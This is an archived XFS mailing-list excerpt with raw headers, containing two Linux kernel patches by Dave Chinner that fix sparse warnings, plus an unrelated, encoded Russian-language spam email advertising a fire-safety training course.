X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1378092184 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140086 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The first patch is a new warning from the log recovery ordering code - I used the wrong structure to pull the superblock LSN out of the on disk buffer. On most platforms there should be no actual bug here as both the xfs_sb and xfs_dsb have identical layouts. The second patch is just fixing a few bits of warning noise that sparse produces. There's not actual compiled code change from them. From dave@fromorbit.com Sun Sep 1 22:23:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 485D629DFB for ; Sun, 1 Sep 2013 22:23:11 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1879830404E for ; Sun, 1 Sep 2013 20:23:08 -0700 (PDT) X-ASG-Debug-ID: 1378092184-04bdf02f22cf4510002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id fRfNfi9VGHnho93Y for ; Sun, 01 Sep 2013 20:23:06 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngHAO4DJFJ5LJ62/2dsb2JhbABagweteZUeF3SCJAEBBScvMwgYMTkDGxmIAbh+kByEBwOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail04.adl6.internode.on.net with ESMTP; 02 Sep 2013 12:53:04 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGKjF-0008Rb-VX for xfs@oss.sgi.com; Mon, 02 Sep 2013 13:23:02 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGKjF-0006Vo-Tp for xfs@oss.sgi.com; Mon, 02 Sep 2013 13:23:01 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/2] xfs: fix some minor sparse warnings Date: Mon, 2 Sep 2013 13:22:59 +1000 X-ASG-Orig-Subj: [PATCH 2/2] xfs: fix some minor sparse warnings Message-Id: <1378092179-24973-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378092179-24973-1-git-send-email-david@fromorbit.com> References: <1378092179-24973-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1378092186 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140086 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner A couple of simple locking annotations and 0 vs NULL warnings. Nothing that changes any code behaviour, just removes build noise. Signed-off-by: Dave Chinner --- fs/xfs/xfs_bmap.c | 2 +- fs/xfs/xfs_dquot_item.c | 2 ++ fs/xfs/xfs_extent_busy.c | 2 ++ fs/xfs/xfs_ioctl.c | 2 +- fs/xfs/xfs_itable.c | 5 +++-- fs/xfs/xfs_log.c | 2 ++ 6 files changed, 11 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 92b8309..f47e65c 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -4450,7 +4450,7 @@ xfs_bmapi_write( { struct xfs_mount *mp = ip->i_mount; struct xfs_ifork *ifp; - struct xfs_bmalloca bma = { 0 }; /* args for xfs_bmap_alloc */ + struct xfs_bmalloca bma = { NULL }; /* args for xfs_bmap_alloc */ xfs_fileoff_t end; /* end of mapped file region */ int eof; /* after the end of extents */ int error; /* error return */ diff --git a/fs/xfs/xfs_dquot_item.c b/fs/xfs/xfs_dquot_item.c index 60c6e1f..77eb762 100644 --- a/fs/xfs/xfs_dquot_item.c +++ b/fs/xfs/xfs_dquot_item.c @@ -143,6 +143,8 @@ STATIC uint xfs_qm_dquot_logitem_push( struct xfs_log_item *lip, struct list_head *buffer_list) + __releases(&lip->li_ailp->xa_lock) + __acquires(&lip->li_ailp->xa_lock) { struct xfs_dquot *dqp = DQUOT_ITEM(lip)->qli_dquot; struct xfs_buf *bp = NULL; diff --git a/fs/xfs/xfs_extent_busy.c b/fs/xfs/xfs_extent_busy.c index 86f559f..504e51ee 100644 --- a/fs/xfs/xfs_extent_busy.c +++ b/fs/xfs/xfs_extent_busy.c @@ -161,6 +161,8 @@ xfs_extent_busy_update_extent( xfs_agblock_t fbno, xfs_extlen_t flen, bool userdata) + __releases(&pag->pagb_lock) + __acquires(&pag->pagb_lock) { xfs_agblock_t fend = fbno + flen; xfs_agblock_t bbno = busyp->bno; diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index bdebc21..21d9c9df 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -71,7 +71,7 @@ xfs_find_handle( int hsize; xfs_handle_t handle; struct inode *inode; - struct fd f = {0}; + struct fd f = {NULL}; struct path path; int error; struct xfs_inode *ip; diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index b93e14b..8a67d53 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -541,8 +541,9 @@ xfs_bulkstat_single( * at the expense of the error case. */ - ino = (xfs_ino_t)*lastinop; - error = xfs_bulkstat_one(mp, ino, buffer, sizeof(xfs_bstat_t), 0, &res); + ino = *lastinop; + error = xfs_bulkstat_one(mp, ino, buffer, sizeof(xfs_bstat_t), + NULL, &res); if (error) { /* * Special case way failed, do it the "long" way diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index 5372d58..8215b63 100644 --- a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -258,6 +258,8 @@ xlog_grant_head_wait( struct xlog_grant_head *head, struct xlog_ticket *tic, int need_bytes) + __releases(&head->lock) + __acquires(&head->lock) { list_add_tail(&tic->t_queue, &head->waiters); -- 1.8.3.2 From dave@fromorbit.com Sun Sep 1 22:23:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1A50B29E04 for ; Sun, 1 Sep 2013 22:23:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 070D18F8049 for ; Sun, 1 Sep 2013 20:23:08 -0700 (PDT) X-ASG-Debug-ID: 1378092186-04cbb02c3bcc4ed0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id ukvdTyh6qDXkrzv1 for ; Sun, 01 Sep 2013 20:23:07 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngHAO4DJFJ5LJ62/2dsb2JhbABagweteZUeF3SCJAEBBScvMwgYMTkDGxmIAbh+jjSBaIQHA6IkhzeDMiqBLA Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail04.adl6.internode.on.net with ESMTP; 02 Sep 2013 12:53:04 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGKjF-0008Ra-Tw for xfs@oss.sgi.com; Mon, 02 Sep 2013 13:23:01 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGKjF-0006Vj-TN for xfs@oss.sgi.com; Mon, 02 Sep 2013 13:23:01 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/2] xfs: fix endian warning in xlog_recover_get_buf_lsn() Date: Mon, 2 Sep 2013 13:22:58 +1000 X-ASG-Orig-Subj: [PATCH 1/2] xfs: fix endian warning in xlog_recover_get_buf_lsn() Message-Id: <1378092179-24973-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378092179-24973-1-git-send-email-david@fromorbit.com> References: <1378092179-24973-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1378092186 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140086 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner sparse reports: fs/xfs/xfs_log_recover.c:2017:24: sparse: cast to restricted __be64 Because I used the wrong structure for the on-disk superblock cast in 50d5c8d ("xfs: check LSN ordering for v5 superblocks during recovery"). Fix it. Reported-by: kbuild test robot Signed-off-by: Dave Chinner --- fs/xfs/xfs_log_recover.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 8984ec4..1c3b0c9 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -2014,7 +2014,7 @@ xlog_recover_get_buf_lsn( case XFS_ATTR3_RMT_MAGIC: return be64_to_cpu(((struct xfs_attr3_rmt_hdr *)blk)->rm_lsn); case XFS_SB_MAGIC: - return be64_to_cpu(((struct xfs_sb *)blk)->sb_lsn); + return be64_to_cpu(((struct xfs_dsb *)blk)->sb_lsn); default: break; } -- 1.8.3.2 From chester1503@xanodria.com Sun Sep 1 23:57:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BB8DA29DFB for ; Sun, 1 Sep 2013 23:57:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3C10CAC002 for ; Sun, 1 Sep 2013 21:57:13 -0700 (PDT) X-ASG-Debug-ID: 1378097828-04cb6c153dccbea0001-NocioJ Received: from mx.navigator.nnov.ru (mx.navigator.nnov.ru [195.122.233.25]) by cuda.sgi.com with ESMTP id DAJUerBQHSrHHBHI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 01 Sep 2013 21:57:10 -0700 (PDT) X-Barracuda-Envelope-From: chester1503@xanodria.com X-Barracuda-Apparent-Source-IP: 195.122.233.25 Received: from [80.93.49.145] (port=52479 helo=Unknown) by mx.navigator.nnov.ru with esmtpa (Exim 4.72 (FreeBSD)) (envelope-from ) id 1VGMCJ-000Ony-KQ; Mon, 02 Sep 2013 08:57:08 +0400 Message-ID: Reply-To: =?windows-1251?B?wOryIOfg7OXw7uIg8e7v8O7y6OLr5e3o/yDo?= =?windows-1251?B?5+7r//bo6CD96+Xq8vDu8eXy6A==?= From: =?windows-1251?B?wOryIOfg7OXw7uIg8e7v8O7y6OLr5e3o/yDo?= =?windows-1251?B?5+7r//bo6CD96+Xq8vDu8eXy6A==?= To: , , , Subject: =?windows-1251?B?0vDl4e7i4O3o/yDqIODi8u7s4PLo9+Xx6u7p?= =?windows-1251?B?IO/w7vLo4u7v7ubg8O3u6SDn4Pno8uUg7uH6?= =?windows-1251?B?5ery4C4=?= Date: Mon, 2 Sep 2013 06:57:05 +0200 X-ASG-Orig-Subj: =?windows-1251?B?0vDl4e7i4O3o/yDqIODi8u7s4PLo9+Xx6u7p?= =?windows-1251?B?IO/w7vLo4u7v7ubg8O3u6SDn4Pno8uUg7uH6?= =?windows-1251?B?5ery4C4=?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1CF2_01CEA7A9.A22C31C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-SA-Exim-Connect-IP: 80.93.49.145 X-SA-Exim-Mail-From: chester1503@xanodria.com X-SA-Exim-Scanned: No (on mx.navigator.nnov.ru); SAEximRunCond expanded to false X-Barracuda-Connect: mx.navigator.nnov.ru[195.122.233.25] X-Barracuda-Start-Time: 1378097830 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 3875f3c41ba5cef107b5e9e4748492ed-6721-unk X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140092 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_1CF2_01CEA7A9.A22C31C0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1CF3_01CEA7A9.A22C31C0" ------=_NextPart_001_1CF3_01CEA7A9.A22C31C0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C2 2=CEI=E7 =E3=EE=E4=F3 =F3=E6=E5=F1=F2=EE=F7=E0=E5=F2=F1=FF =EA=EE=ED=F2= =F0=EE=EB=FC =E7=E0 =F1=EE=E1=EB=FE=E4=E5=ED=E8=E5 =ED=EE=F0=EC =E8 =EF=F0= =E0=E2=E8=EB =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8 =EF=F0=E8 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=E8 =E7=E4=E0=ED=E8=E9 =E8 =F1= =EE=EE=F0=F3=E6=E5=ED=E8=E9. =C2=EE=E7=F0=E0=F1=F2=E0=E5=F2 =F0=E0=E7=EC=E5= =F0 =F8=F2=F0=E0=F4=EE=E2 =E4=EE=EB=E6=ED=EE=F1=F2=ED=FB=F5 =EB=E8=F6 =E8 =EE=F0=E3=E0=ED=E8=E7=E0=F6=E8=E9 =E7=E0 =ED=E0=F0=F3=F8=E5= =ED=E8=E9 =EF=F0=E0=E2=E8=EB; =EF=F0=E8 =E2=EE=E7=ED=E8=EA=ED=EE=E2=E5=ED= =E8=E8 =F7=F0=E5=E7=E2=FB=F7=E0=E9=ED=FB=F5 =F1=E8=F2=F3=E0=F6=E8=E9 =EF=F0=E5=E4=F3=F1=EC=EE=F2=F0=E5=ED=E0 =F3=E3=EE=EB=EE=E2=ED=E0=FF =EE=F2= =E2=E5=F2=F1=F2=E2=E5=ED=ED=EE=F1=F2=FC =F0=F3=EA=EE=E2=EE=E4=E8=F2=E5=EB= =FF. =CC=ED=EE=E3=E8=E5 =E2=EE=EF=F0=EE=F1=FB =F2=E5=F5=ED=E8=F7=E5=F1=EA=E8=F5= =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF= =E0=F1=ED=EE=F1=F2=E8 =E2=ED=EE=F1=FF=F2 =E4=EE=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=FB=E5 =F3=F1=EB=EE=E2=E8=FF =E4=EB=FF= =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED=E8=FF =E8 =F1=F2=F0=EE=E8=F2=E5=EB=FC= =F1=F2=E2=E0 =EE=E1=FA=E5=EA=F2=EE=E2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8! =D7=F2=EE =ED=F3=E6=ED=EE =E7=ED=E0=F2=FC =EE =F0=E5=E0=EB=E8=E7=E0=F6=E8= =E8 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8: - =ED=E0 =EF=F0=EE=EC=FB=F8=EB=E5=ED=ED=EE=EC =EF=F0=E5=E4=EF=F0=E8=FF=F2= =E8=E8? - =EF=F0=E8 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=E8 =E6=E8=EB=FB=F5 =E8 =ED=E5= =E6=E8=EB=FB=F5 =EF=EE=EC=E5=F9=E5=ED=E8=E9? - =EF=F0=E8 =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED=E8=E8 =E8 =F1=F2=F0=EE=E8= =F2=E5=EB=FC=F1=F2=E2=E5 =EE=E1=FA=E5=EA=F2=EE=E2 =ED=E5=E4=E2=E8=E6=E8=EC= =EE=F1=F2=E8? =CA=F3=F0=F1-=EF=F0=E0=EA=F2=E8=EA=F3=EC I8-19 =F1=E5=ED=F2=FF=E1=F0=FF 2= =CEI=E7 =E3. =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3 =CF=CE=C6=C0=D0=CD=C0=DF =C1=C5=C7=CE=CF=C0=D1=CD=CE=D1=D2=DC =C7=C4=C0=CD= =C8=C9 =C8 =D1=CE=CE=D0=D3=C6=C5=CD=C8=C9: =CE=C1=C5=D1=CF=C5=D7=C5=CD=C8= =C5 =CF=CE=C6=C0=D0=CD=CE=C9 =C1=C5=C7=CE=CF=C0=D1=CD=CE=D1=D2=C8 =CD=C0 =D1=D2= =C0=C4=C8=C8 =CF=D0=CE=C5=CA=D2=C8=D0=CE=C2=C0=CD=C8=DF. =CF=CE=C4=C3=CE=D2= =CE=C2=CA=C0 =CA =CF=D0=CE=C2=C5=D0=CA=C5 =CF=CE=C6=C0=D0=CD=CE=C3=CE =CD=C0=C4=C7=CE=D0=C0= . =CD=CE=C2=DB=C5 =D2=D0=C5=C1=CE=C2=C0=CD=C8=DF =C7=C0=CA=CE=CD=CE=C4=C0= =D2=C5=CB=DC=D1=D2=C2=C0 =C8 =CF=D0=CE=D2=C8=C2=CE=CF=CE=C6=C0=D0=CD=DB=C9 =D0=C5=C6=C8=CC =D1=F0=E5=E4=E8 =F2=E5=EC: =95=CD=EE=F0=EC=E0=F2=E8=E2=ED=EE-=EF=F0=E0=E2=EE=E2=EE=E5 =F0=E5=E3=F3=EB= =E8=F0=EE=E2=E0=ED=E8=E5 =E2 =EE=E1=EB=E0=F1=F2=E8 =EF=EE=E6=E0=F0=ED=EE=E9= =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8. =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =D4=E5=E4=E5=F0=E0=EB=FC=ED=EE=E3=EE =E7=E0= =EA=EE=ED=E0 =B9 123-=D4=C7 =AB=D2=E5=F5=ED=E8=F7=E5=F1=EA=E8=E9 =F0=E5=E3= =EB=E0=EC=E5=ED=F2 =EE =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF=F5 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF= =E0=F1=ED=EE=F1=F2=E8=BB. =95=CF=EE=F0=FF=E4=EE=EA =F0=E0=E7=F0=E0=E1=EE=F2=EA=E8 =E8 =F1=EE=E3=EB=E0= =F1=EE=E2=E0=ED=E8=FF =F1=EF=E5=F6=E8=E0=EB=FC=ED=FB=F5 =F2=E5=F5=ED=E8=F7= =E5=F1=EA=E8=F5 =F3=F1=EB=EE=E2=E8=E9 (=D1=D2=D3). =95=D1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E5 =EF=F0=EE=E5=EA=F2=ED=EE-=F1=EC=E5= =F2=ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8 =F2=F0=E5=E1=EE=E2=E0=ED= =E8=FF=EC =ED=EE=F0=EC =E2 =EE=E1=EB=E0=F1=F2=E8 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8. =CF=F0=EE=F6= =E5=E4=F3=F0=E0 =EF=F0=EE=E2=E5=E4=E5=ED=E8=FF =FD=EA=F1=EF=E5=F0=F2=E8=E7= =FB. =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =EA =E4=EE=EA=F3=EC=E5=ED=F2=E0=EC. =95=CA=E0=EA=E8=E5 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF =EF=F0=E5=E4=FA=FF=E2=EB= =FF=FE=F2=F1=FF =EA =E7=E4=E0=ED=E8=FF=EC =E8 =EF=EE=EC=E5=F9=E5=ED=E8=FF= =EC =EF=EE =EF=EB=E0=ED=E8=F0=EE=E2=EA=E5, =EE=E3=ED=E5=F1=F2=EE=E9=EA=EE=F1=F2=E8, =EF=F3=F2=FF=EC =FD=E2=E0=EA=F3=E0= =F6=E8=E8, =E4=FB=EC=EE=F3=E4=E0=EB=E5=ED=E8=FE, =F1=F0=E5=E4=F1=F2=E2=E0= =EC =EE=E1=ED=E0=F0=F3=E6=E5=ED=E8=FF =E8 =F2=F3=F8=E5=ED=E8=FF =EF=EE=E6=E0=F0=E0 =E8 =E4=F0. =95=CF=F0=E8=ED=FF=F2=E8=E5 =EC=E5=F0 =E4=EE =EF=F0=EE=E2=E5=F0=EA=E8 =EF= =EE=E6=E0=F0=ED=EE=E3=EE =ED=E0=E4=E7=EE=F0=E0. =CF=EE=F8=E0=E3=EE=E2=E0=FF= =E8=ED=F1=F2=F0=F3=EA=F6=E8=FF =EF=F0=EE=E2=E5=E4=E5=ED=E8=FF =E2=ED=F3=F2=F0=E5=ED=ED=E5=E3=EE =E0=F3=E4=E8=F2=E0 =EF=EE=E6=E0=F0=ED=EE= =E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8.=20 =95=D2=E8=EF=E8=F7=ED=FB=E5 =EE=F8=E8=E1=EA=E8 =EF=F0=E8 =EF=EE=E4=E3=EE=F2= =EE=E2=EA=E5 =EA =EF=F0=EE=E2=E5=F0=EA=E5 =E8 =EC=ED=EE=E3=EE=E5 =E4=F0=F3= =E3=EE=E5... =CF=EE=EB=ED=E0=FF =EF=F0=EE=E3=F0=E0=EC=EC=E0 =EC=E5=F0=EE=EF=F0=E8=FF=F2= =E8=FF =E8 =F3=F1=EB=EE=E2=E8=FF =F3=F7=E0=F1=F2=E8=FF =F3=F2=EE=F7=ED=FF= =E5=F2=F1=FF =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3:=20 +7 8I2 6=D7 2 .. 5 8 =E7I =CF=EE =EF=F0=EE=F5=EE=E6=E4=E5=ED=E8=E8 =EA=F3=F0=F1=E0 =E2=FB=E4=E0=E5=F2= =F1=FF =F3=E4=EE=F1=F2=EE=E2=E5=F0=E5=ED=E8=E5 =F3=F1=F2=E0=ED=EE=E2=EB=E5= =ED=ED=EE=E3=EE =EE=E1=F0=E0=E7=F6=E0! ------=_NextPart_001_1CF3_01CEA7A9.A22C31C0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=C2 2=CEI=E7 =E3=EE=E4=F3 =F3=E6=E5=F1=F2=EE=F7=E0=E5=F2=F1=FF=20 =EA=EE=ED=F2=F0=EE=EB=FC =E7=E0 =F1=EE=E1=EB=FE=E4=E5=ED=E8=E5 =ED=EE=F0=EC= =E8 =EF=F0=E0=E2=E8=EB =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED= =EE=F1=F2=E8
=EF=F0=E8 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=E8=20 =E7=E4=E0=ED=E8=E9 =E8 =F1=EE=EE=F0=F3=E6=E5=ED=E8=E9. =C2=EE=E7=F0=E0=F1= =F2=E0=E5=F2 =F0=E0=E7=EC=E5=F0 =F8=F2=F0=E0=F4=EE=E2 =E4=EE=EB=E6=ED=EE=F1= =F2=ED=FB=F5
=EB=E8=F6 =E8 =EE=F0=E3=E0=ED=E8=E7=E0=F6=E8=E9=20 =E7=E0 =ED=E0=F0=F3=F8=E5=ED=E8=E9 =EF=F0=E0=E2=E8=EB; =EF=F0=E8 =E2=EE=E7= =ED=E8=EA=ED=EE=E2=E5=ED=E8=E8 =F7=F0=E5=E7=E2=FB=F7=E0=E9=ED=FB=F5 =F1=E8= =F2=F3=E0=F6=E8=E9
=EF=F0=E5=E4=F3=F1=EC=EE=F2=F0=E5=ED=E0=20 =F3=E3=EE=EB=EE=E2=ED=E0=FF =EE=F2=E2=E5=F2=F1=F2=E2=E5=ED=ED=EE=F1=F2=FC= =F0=F3=EA=EE=E2=EE=E4=E8=F2=E5=EB=FF.
 
=CC=ED=EE=E3=E8=E5 =E2=EE=EF=F0=EE=F1=FB =F2=E5=F5=ED=E8=F7=E5=F1=EA= =E8=F5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7= =EE=EF=E0=F1=ED=EE=F1=F2=E8=20 =E2=ED=EE=F1=FF=F2
=E4=EE=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=FB=E5 =F3=F1=EB= =EE=E2=E8=FF =E4=EB=FF =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED=E8=FF =E8 =F1= =F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0=20 =EE=E1=FA=E5=EA=F2=EE=E2
=ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8!
 
=D7=F2=EE =ED=F3=E6=ED=EE =E7=ED=E0=F2=FC =EE =F0=E5=E0=EB=E8=E7=E0=F6= =E8=E8 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8:
 
- =ED=E0 =EF=F0=EE=EC=FB=F8=EB=E5=ED=ED=EE=EC =EF=F0=E5=E4=EF=F0=E8=FF= =F2=E8=E8?
 
- =EF=F0=E8 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=E8 =E6=E8=EB=FB=F5 =E8= =ED=E5=E6=E8=EB=FB=F5 =EF=EE=EC=E5=F9=E5=ED=E8=E9?
 
- =EF=F0=E8 =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED=E8=E8 =E8 =F1=F2=F0= =EE=E8=F2=E5=EB=FC=F1=F2=E2=E5 =EE=E1=FA=E5=EA=F2=EE=E2 =ED=E5=E4=E2=E8=E6= =E8=EC=EE=F1=F2=E8?
 
=CA=F3=F0=F1-=EF=F0=E0=EA=F2=E8=EA=F3=EC I8-19 =F1=E5=ED=F2=FF=E1= =F0=FF=20 2=CEI=E7 =E3.=20 =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3
 
=CF=CE=C6=C0=D0=CD=C0=DF =C1=C5=C7=CE=CF=C0=D1=CD=CE=D1=D2=DC =C7=C4= =C0=CD=C8=C9 =C8 =D1=CE=CE=D0=D3=C6=C5=CD=C8=C9: =CE=C1=C5=D1=CF=C5=D7=C5= =CD=C8=C5
=CF=CE=C6=C0=D0=CD=CE=C9=20 =C1=C5=C7=CE=CF=C0=D1=CD=CE=D1=D2=C8 =CD=C0 =D1=D2=C0=C4=C8=C8 =CF=D0=CE=C5= =CA=D2=C8=D0=CE=C2=C0=CD=C8=DF. =CF=CE=C4=C3=CE=D2=CE=C2=CA=C0 =CA
=CF= =D0=CE=C2=C5=D0=CA=C5 =CF=CE=C6=C0=D0=CD=CE=C3=CE=20 =CD=C0=C4=C7=CE=D0=C0. =CD=CE=C2=DB=C5 =D2=D0=C5=C1=CE=C2=C0=CD=C8=DF =C7= =C0=CA=CE=CD=CE=C4=C0=D2=C5=CB=DC=D1=D2=C2=C0 =C8
